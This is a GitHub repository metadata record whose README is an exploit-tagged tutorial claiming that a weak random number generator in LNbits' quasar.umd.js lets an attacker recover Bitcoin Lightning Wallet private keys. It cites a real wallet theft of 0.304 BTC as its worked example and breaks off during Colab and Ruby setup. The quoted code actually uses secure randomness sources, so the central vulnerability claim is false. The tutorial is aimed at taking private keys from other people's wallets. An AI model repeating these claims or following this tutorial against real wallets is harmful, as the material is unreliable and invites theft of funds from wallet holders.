{"id":15064199,"url":"https://github.com/demining/bitcoin-lightning-wallet-vulnerability","last_synced_at":"2026-01-02T09:21:10.439Z","repository":{"id":206692828,"uuid":"717484811","full_name":"demining/Bitcoin-Lightning-Wallet-Vulnerability","owner":"demining","description":"How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework","archived":false,"fork":false,"pushed_at":"2023-11-11T16:26:49.000Z","size":5823,"stargazers_count":4,"open_issues_count":0,"forks_count":2,"subscribers_count":2,"default_branch":"main","last_synced_at":"2025-01-22T09:28:34.936Z","etag":null,"topics":["bitcoin","bitcoin-wallet","blockchain","exploit","hack","hacking","metasploit","metasploit-framework","privatekey","vulnerability","vulnerable"],"latest_commit_sha":null,"homepage":"https://cryptodeeptech.ru/bitcoin-lightning-wallet-vulnerability","language":"Jupyter Notebook","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/demining.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null}},"created_at":"2023-11-11T16:06:21.000Z","updated_at":"2024-11-16T17:39:22.000Z","dependencies_parsed_at":"2023-11-11T17:36:07.900Z","dependency_job_id":null,"html_url":"https://github.com/demining/Bitcoin-Lightning-Wallet-Vulnerability","commit_stats":null,"previous_names":["demining/bitcoin-lightning-wallet-vulnerability"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/demining%2FBitcoin-Lightning-Wallet-Vulnerability","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/demining%2FBitcoin-Lightning-Wallet-Vulnerability/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/demining%2FBitcoin-Lightning-Wallet-Vulnerability/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/demining%2FBitcoin-Lightning-Wallet-Vulnerability/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/demining","download_url":"https://codeload.github.com/demining/Bitcoin-Lightning-Wallet-Vulnerability/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":243786286,"owners_count":20347613,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["bitcoin","bitcoin-wallet","blockchain","exploit","hack","hacking","metasploit","metasploit-framework","privatekey","vulnerability","vulnerable"],"created_at":"2024-09-25T00:13:31.729Z","updated_at":"2026-01-02T09:21:10.413Z","avatar_url":"https://github.com/demining.png","language":"Jupyter Notebook","funding_links":[],"categories":[],"sub_categories":[],"readme":"\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/047-1024x576.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-4047\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n---\n\n\n* Tutorial: https://youtu.be/ZpflbzENAAw\n* Tutorial: https://cryptodeeptech.ru/bitcoin-lightning-wallet-vulnerability\n\n\n\n---\n\n\u003cp\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003eIn this article, we will focus on a smartphone application\u0026nbsp;\u003ccode\u003eiOS\u003c/code\u003e and\u0026nbsp;\u003ccode\u003eAndroid\u003c/code\u003e the popular Bitcoin Wallet that supports fast payments through\u0026nbsp;\u003ccode\u003e(Lightning network)\u003c/code\u003e\u0026nbsp;\u003ca href=\"https://apkcombo.com/blw-bitcoin-and-lightning-wal/com.lightning.walletapp/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eBLW: Bitcoin Lightning Wallet\u003c/a\u003e\u0026nbsp;.\u0026nbsp;Unfortunately, many autonomous nodes of the open source mobile application from\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://github.com/lnbits/lnbits\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eLNbits\u0026nbsp;Node Manager\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;and\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://github.com/ElementsProject/lightning\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eCore Lightning\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;are exposed to a HIGH RISK of losing all funds in various cryptocurrency coins.\u003c/p\u003e\n\n\n\n\u003cp class=\"has-text-align-center has-medium-font-size\"\u003eDeveloper\u0026nbsp;\u003ca href=\"https://github.com/davidshares/Lightning-Network/blob/main/README.md\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eDavid Shares\u003c/a\u003e\u0026nbsp;from the Japanese company\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://github.com/bitcoin-portal\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eBitcoin Portal\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;has published many\u0026nbsp;\u003ca href=\"https://github.com/davidshares/Lightning-Network/blob/main/README.md\" target=\"_blank\" rel=\"noreferrer noopener\"\u003edocuments\u003c/a\u003e\u0026nbsp;.\u003c/p\u003e\n\n\n\n\u003cp\u003eLet’s look at the theoretical basis:\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://github.com/lnbits/lnbits\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eLNbits\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;is a free account system for many mobile applications that work with various cryptocurrency wallets.\u0026nbsp;Initially, it gained wide popularity\u0026nbsp;\u003cstrong\u003e\u003ccode\u003eLNbits Node Manager\u003c/code\u003e\u003c/strong\u003ewith the development of\u0026nbsp;\u003ccode\u003e\u003cstrong\u003eBitcoin Lightning Wallet\u003c/strong\u003e\u0026nbsp;(BLW)\u003c/code\u003e…\u0026nbsp;development of non-custodial and autonomous nodes for\u0026nbsp;\u003ccode\u003eBitcoin SPV\u003c/code\u003e, designed for\u0026nbsp;\u003ccode\u003eAndroid\u003c/code\u003eand\u0026nbsp;\u003ccode\u003eiPhone\u003c/code\u003e\u0026nbsp;with functionality\u0026nbsp;\u003cstrong\u003e\u003ccode\u003eNode.js\u003c/code\u003e\u003c/strong\u003e.\u0026nbsp;With autonomous nodes, you have full control over your funds and need to manage your funds yourself\u0026nbsp;\u003cem\u003e(unlike other mobile cryptocurrency wallet apps)\u003c/em\u003e\u0026nbsp;.\u003c/p\u003e\n\n\n\n\u003cp class=\"has-background has-medium-font-size\" style=\"background-color:#f78da812\"\u003e\u003cstrong\u003e\u003ca href=\"https://github.com/lnbits/lnbits\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003c/a\u003e\u003c/strong\u003eThe open source\u003cstrong\u003e\u003ca href=\"https://github.com/lnbits/lnbits\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u0026nbsp;Node Manager\u0026nbsp;\u003c/a\u003e\u003c/strong\u003e\u003cstrong\u003e\u003ca href=\"https://github.com/lnbits/lnbits\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eLNbits\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;solves several problems, such as:\u003c/p\u003e\n\n\n\n\u003cul\u003e\n\u003cli\u003eCollection of paper prices for coins\u0026nbsp;\u003ccode\u003eBTC, ETH, LTC, USDT, XLM, BNB\u003c/code\u003e, etc.\u003c/li\u003e\n\n\n\n\u003cli\u003eMaintaining a list of public nodes\u0026nbsp;\u003cstrong\u003e\u003ccode\u003eLNbits\u003c/code\u003e\u003c/strong\u003ethat\u0026nbsp;\u003ccode\u003e\u003cstrong\u003eBitcoin Lightning Wallet\u003c/strong\u003e\u0026nbsp;(BLW)\u003c/code\u003eit uses to open payment channels.\u003c/li\u003e\n\n\n\n\u003cli\u003eProviding partial payment for payment routes.\u003c/li\u003e\n\n\n\n\u003cli\u003eStoring an encrypted backup of your payment channel.\u003c/li\u003e\n\u003c/ul\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/EHvK6Lq-1024x346.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-3944\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003cp\u003e\u003cstrong\u003eLNbits node manager\u003c/strong\u003e\u0026nbsp;works with services:\u003c/p\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-30-1024x250.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-3926\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote\"\u003e\n\u003cp class=\"has-background\" style=\"background-color:#f78da812\"\u003eAccording to the examples of\u0026nbsp;\u003ca href=\"https://objsal.medium.com/free-bitcoin-transactions-with-lnbits-bd5b3933f082\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eSalvador Guerrero,\u003c/a\u003e\u0026nbsp;many who have installed\u0026nbsp;\u003cstrong\u003e\u003ccode\u003eLNBits\u003c/code\u003e\u003c/strong\u003ea full-fledged\u0026nbsp;\u003ca href=\"https://bitcoin.org/en/full-node\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eBitcoin node\u003c/a\u003e can run on\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://github.com/raspberrypi\" target=\"_blank\" rel=\"noreferrer noopener\"\u003ea Raspberry Pi\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;to send and receive\u0026nbsp;\u003ccode\u003eBitcoin\u003c/code\u003e\u003cem\u003ewithout transaction fees\u003c/em\u003e\u0026nbsp;.\u0026nbsp;This is only possible if all crypto wallets\u0026nbsp;\u003cstrong\u003e\u003ccode\u003eLNbits\u003c/code\u003e\u003c/strong\u003eare in the same\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://github.com/ElementsProject/lightning.git\"\u003eCore Lightning\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;instance .\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/005-1-1024x576.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-3956\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-34-1024x481.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-3960\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter is-resized\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-36-1.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-3968\" style=\"width:784px;height:auto\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-36.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-3964\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote\"\u003e\n\u003cp class=\"has-background\" style=\"background-color:#f78da812\"\u003eDeveloper\u0026nbsp;\u003ca href=\"https://github.com/davidshares/Lightning-Network/blob/main/README.md\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eDavid Shares\u003c/a\u003e\u0026nbsp;of the Japanese company\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://github.com/bitcoin-portal\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eBitcoin Portal\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;published\u0026nbsp;\u003cem\u003ea chronological list that shows that\u0026nbsp;\u003ccode\u003eLightning Network\u003c/code\u003eit is drowning in technical problems, bugs, shortcomings, criticisms and exploits.\u0026nbsp;It is an over-promised technology that does not provide decentralization and is still far from being functional and secure for users.\u003c/em\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-37-1024x312.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-3972\"\u003e\u003cfigcaption class=\"wp-element-caption\"\u003e\u003cstrong\u003e\u003ca href=\"https://github.com/davidshares/Lightning-Network/blob/main/README.md\" target=\"_blank\" rel=\"noreferrer noopener\"\u003ehttps://github.com/davidshares/Lightning-Network/blob/main/README.md\u003c/a\u003e\u003c/strong\u003e\u003c/figcaption\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003cp\u003eAfter a detailed study of all materials from the chronological list, we drew attention to\u0026nbsp;\u003ca href=\"https://github.com/demining/CryptoDeepTools/tree/main/26BitcoinLightningWalletVulnerability\" target=\"_blank\" rel=\"noreferrer noopener\"\u003ea vulnerability in the framework\u003c/a\u003e\u0026nbsp;and the process of working in the\u0026nbsp;\u003ca href=\"https://github.com/lnbits/lnbits/blob/3e142fab0f1cc54ec828ced73f61e4570d2053bd/lnbits/static/vendor/quasar.umd.js#L14739\" target=\"_blank\" rel=\"noreferrer noopener\"\u003equasar.umd.js code\u003c/a\u003e\u003c/p\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-33-1.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-3966\"\u003e\u003cfigcaption class=\"wp-element-caption\"\u003e\u003ca href=\"https://github.com/quasarframework/quasar.git\"\u003ehttps://github.com/quasarframework/quasar.git\u003c/a\u003e\u003c/figcaption\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003cp class=\"has-background\" style=\"background-color:#f78da812\"\u003e\u003cstrong\u003e\u003ca href=\"https://github.com/quasarframework/quasar.git\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eQuasar\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;\u0026nbsp;is an\u003cstrong\u003e\u0026nbsp;open-source Vue.js-\u003c/strong\u003e\u0026nbsp;based framework that allows you to create responsive websites and mobile applications for various cryptocurrency wallets.\u003c/p\u003e\n\n\n\n\u003cp\u003eAs we know from the source\u0026nbsp;\u003ca href=\"https://security.snyk.io/package/npm/@diorray%2Fvue-auth\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eSnyk Vulnerability Database,\u003c/a\u003e\u0026nbsp;the latest versions\u0026nbsp;\u003cstrong\u003eof Vue.js\u003c/strong\u003e\u0026nbsp;contained vulnerabilities, which allowed\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://github.com/lnbits/lnbits/releases/tag/0.11.0\" target=\"_blank\" rel=\"noreferrer noopener\"\u003ethe LNbits v0.11.0\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;version to launch a series of cyclic errors in the\u0026nbsp;\u003ca href=\"https://github.com/lnbits/lnbits/blob/3e142fab0f1cc54ec828ced73f61e4570d2053bd/lnbits/static/vendor/quasar.umd.js#L14739\" target=\"_blank\" rel=\"noreferrer noopener\"\u003equasar.umd.js code\u003c/a\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-32-1024x407.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-3928\"\u003e\u003cfigcaption class=\"wp-element-caption\"\u003e\u003ca href=\"https://security.snyk.io/package/npm/@diorray%2Fvue-auth\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eSnyk Vulnerability Database\u003c/a\u003e\u003c/figcaption\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading has-text-align-center has-background\" style=\"background-color:#f78da812\"\u003eError in\u0026nbsp;\u003ca href=\"https://github.com/lnbits/lnbits/blob/3e142fab0f1cc54ec828ced73f61e4570d2053bd/lnbits/static/vendor/quasar.umd.js#L14739\" target=\"_blank\" rel=\"noreferrer noopener\"\u003equasar.umd.js code\u003c/a\u003e\u003c/h2\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e  // Use best available PRNG\n  var randomBytes = (function () {\n    // Node \u0026amp; Browser support\n    var lib = typeof crypto !== 'undefined'\n      ? crypto\n      : (\n        typeof window !== 'undefined'\n          ? window.msCrypto // IE11\n          : void 0\n      );\n\n    if (lib !== void 0) {\n      if (lib.randomBytes !== void 0) {\n        return lib.randomBytes\n      }\n      if (lib.getRandomValues !== void 0) {\n        return function (n) {\n          var bytes = new Uint8Array(n);\n          lib.getRandomValues(bytes);\n          return bytes\n        }\n      }\n    }\u003c/code\u003e\u003c/pre\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-33-1024x773.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-3931\"\u003e\u003cfigcaption class=\"wp-element-caption\"\u003e\u003cstrong\u003e\u003ca href=\"https://github.com/lnbits/lnbits/blob/3e142fab0f1cc54ec828ced73f61e4570d2053bd/lnbits/static/vendor/quasar.umd.js#L14739\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eGitHub Repo\u003c/a\u003e\u003c/strong\u003e\u003c/figcaption\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003cp\u003eIn the case of a weak pseudo-random number generator,\u0026nbsp;\u003ccode\u003e\u003cstrong\u003e(PRNG)\u003c/strong\u003e\u003c/code\u003e we are given the opportunity to obtain\u0026nbsp;\u003cstrong\u003e\u003ccode\u003eSEED\u003c/code\u003e\u003c/strong\u003e and completely determine\u0026nbsp;\u003cem\u003ethe private key\u003c/em\u003e\u0026nbsp;to the Bitcoin Wallet, since the method\u0026nbsp;\u003cstrong\u003e\u003ccode\u003elib.getRandomValues\u003c/code\u003e\u003c/strong\u003e loses cryptographic strength over a random value.\u003c/p\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003e\u003ca href=\"https://colab.research.google.com/drive/1bW9y3vB4VdvJBzJR3eBMRsBecsfwDIkV\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eLet’s move on to the practical part:\u003c/a\u003e\u003c/h2\u003e\n\n\n\n\u003cp\u003e(You can open the finished file from\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://colab.research.google.com/drive/1bW9y3vB4VdvJBzJR3eBMRsBecsfwDIkV\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eJupyter Notebook\u0026nbsp;\u003c/a\u003e\u003c/strong\u003eand upload it to\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://colab.research.google.com/drive/1bW9y3vB4VdvJBzJR3eBMRsBecsfwDIkV\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eGoogle Colab\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;notebook )\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003e\u003ca href=\"https://colab.research.google.com/drive/1bW9y3vB4VdvJBzJR3eBMRsBecsfwDIkV\"\u003ehttps://colab.research.google.com/drive/1bW9y3vB4VdvJBzJR3eBMRsBecsfwDIkV\u003c/a\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-29-1024x164.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-3896\"\u003e\u003cfigcaption class=\"wp-element-caption\"\u003e\u003cstrong\u003e\u003ca href=\"https://github.com/demining/CryptoDeepTools/tree/main/26BitcoinLightningWalletVulnerability\" target=\"_blank\" rel=\"noreferrer noopener\"\u003ehttps://github.com/demining/CryptoDeepTools/tree/main/26BitcoinLightningWalletVulnerability\u003c/a\u003e\u003c/strong\u003e\u003c/figcaption\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eLet’s consider a real example of extracting the private key of a Bitcoin Wallet from a weak pseudo-random number generator\u0026nbsp;\u003ccode\u003e(PRNG)\u003c/code\u003ein the code\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://github.com/lnbits/lnbits/blob/3e142fab0f1cc54ec828ced73f61e4570d2053bd/lnbits/static/vendor/quasar.umd.js#L14739\" target=\"_blank\" rel=\"noreferrer noopener\"\u003equasar.umd.js\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading\"\u003e\u003c/h2\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote\"\u003e\n\u003cp class=\"has-text-align-center has-background has-medium-font-size\" style=\"background-color:#f78da812\"\u003e\u003cstrong\u003eBitcoin Wallet\u003c/strong\u003e\u0026nbsp;: In September\u0026nbsp;\u003ccode\u003e2023\u003c/code\u003ethere was a theft in the amount of:\u0026nbsp;\u003cstrong\u003e\u003ccode\u003e\u003cstrong\u003e\u003ccode\u003e11032.77\u003c/code\u003e\u003c/strong\u003e\u003c/code\u003eUS dollars // BITCOIN: \u003ccode\u003e0.30412330 BTC\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-38.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-3985\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003cp class=\"has-text-align-center\"\u003e\u003ccode\u003eBitcoin_Lightning_Wallet_Vulnerability.ipynb\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote\"\u003e\n\u003cp class=\"has-background\" style=\"background-color:#f78da812\"\u003e\u003ca href=\"https://colab.research.google.com/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eLet’s open the Google Colab\u003c/a\u003e\u0026nbsp;service\u0026nbsp;using the link:\u0026nbsp;\u003ca href=\"https://colab.research.google.com/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003ehttps://colab.research.google.com\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-11.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-3735\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote\"\u003e\n\u003cp class=\"has-background\" style=\"background-color:#f78da812\"\u003eClick on\u0026nbsp;\u003cstrong\u003e\u003ccode\u003e\"+\"\u003c/code\u003e\u003c/strong\u003eand\u0026nbsp;\u003cem\u003e\u003cstrong\u003e“Create a new notepad”\u003c/strong\u003e\u003c/em\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-12.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-3738\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading has-background\" style=\"background-color:#f78da812\"\u003eInstall Ruby in Google Colab\u003c/h2\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-13-1024x487.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-3740\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote\"\u003e\n\u003cp class=\"has-background\" style=\"background-color:#f78da812\"\u003eTo run the programs we need, we will install the object-oriented programming language\u0026nbsp;\u003ca href=\"https://www.ruby-lang.org/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e\u003cstrong\u003eRuby\u003c/strong\u003e\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e!sudo apt install ruby-full\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-39-1024x779.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-3988\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003cblockquote class=\"wp-block-quote\"\u003e\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp class=\"has-background\" style=\"background-color:#f78da812\"\u003eLet’s check the installation version\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e!ruby --version\u003c/code\u003e\u003c/pre\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet 